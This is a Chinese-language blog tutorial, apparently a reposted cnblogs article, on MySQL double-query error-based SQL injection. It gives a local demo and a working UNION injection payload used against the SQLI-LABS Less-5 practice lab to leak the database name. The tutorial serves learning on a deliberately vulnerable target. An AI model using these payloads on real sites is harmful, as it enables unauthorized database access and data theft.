zoukankan      html  css  js  c++  java
  • MYSQL双查询错误1

     一、基础知识  

      开始讲解MYSQL双查询错误之前,我们先了解一下双查询语句以及需要使用到的几个数据库函数和GROUP BY语句

      1. 双查询语句

        先了解一下什么是子查询,子查询就是嵌入第一层select语句中的select语句,比如:

    SELECT * FROM score WHERE even_id IN (SELECT even_id FROM grade_event WHERE category = 'T');

    功能:该语句实现的是找出与考试类别('T')相对应的所有考试事件行的ID,然后利用它们来查找那些考试的成绩

             双查询语句就是此类使用了两个select的查询语句

       2. 数据库函数和GROUP BY语句

        1)rand() --- 随机数生成函数

        2)floor() --- 向下取整函数

        3)concat()  --- 字符串连接函数

        4)count() --- 统计函数

        5)group by --- 给出分组条件

    二、环境搭建

    1)创建数据库
            create database injection;
    (2)创建表
            create table user (
                id int,
                name varchar(15)  
            );
    (3)往表中插入3条数据
            insert into user value(1,'mike');
            insert into user value(2,'anna');
            insert into user value(3,'andy');
      
     数据库版本:mysql-5.7.27

     三、查询操作

      1. SQL语句

    select count(*), concat((select database()), floor(rand()*2)) as a from user group by a;

      2. 执行情况

      3. 操作结果

       可以看到在第二次执行我们的SQL语句时发生了错误,从错误提示中我们获知了数据库的名字:injection.

    四、靶场测试

      下面我们利用SQLI-LABS这个SQL注入靶场做一次利用SQL双查询错误进行注入攻击,地址如下

                  http://43.247.91.228:84/Less-5/

      在上面的网址后加入:

    ?id=1union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

      也许是运气好,第一次执行就得到了想要的结果,如下:

      从上图中可以看出,我们已经得到了数据库的名字:security. 接下来可以一步一步构造要注入的SQL语句获取信息,在下

      一篇讲解双查询错误原理后,会讲解如何构造注入语句来获取数据库信息.

  • 相关阅读:
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    xgqfrms™, xgqfrms® : xgqfrms's offical website of GitHub!
    并行导致的进程数过大无法连接数据库
    Oracle 等待事件(Wait Event):Sync ASM rebalance 解析
    2套RAC环境修改scanip后客户端连接异常
    数据流通技术工具
    Hack The Box——Scavenger
    MySQL中InnoDB引擎对索引的扩展
    30分钟,教你从0到1搞定一次完整的数据可视化分析!
    【2020-MOOC-浙江大学-陈越、何钦铭-数据结构】树和堆(第五周的笔记和编程作业)
  • 原文地址:https://www.cnblogs.com/soldierback/p/11297627.html
Copyright © 2011-2022 走看看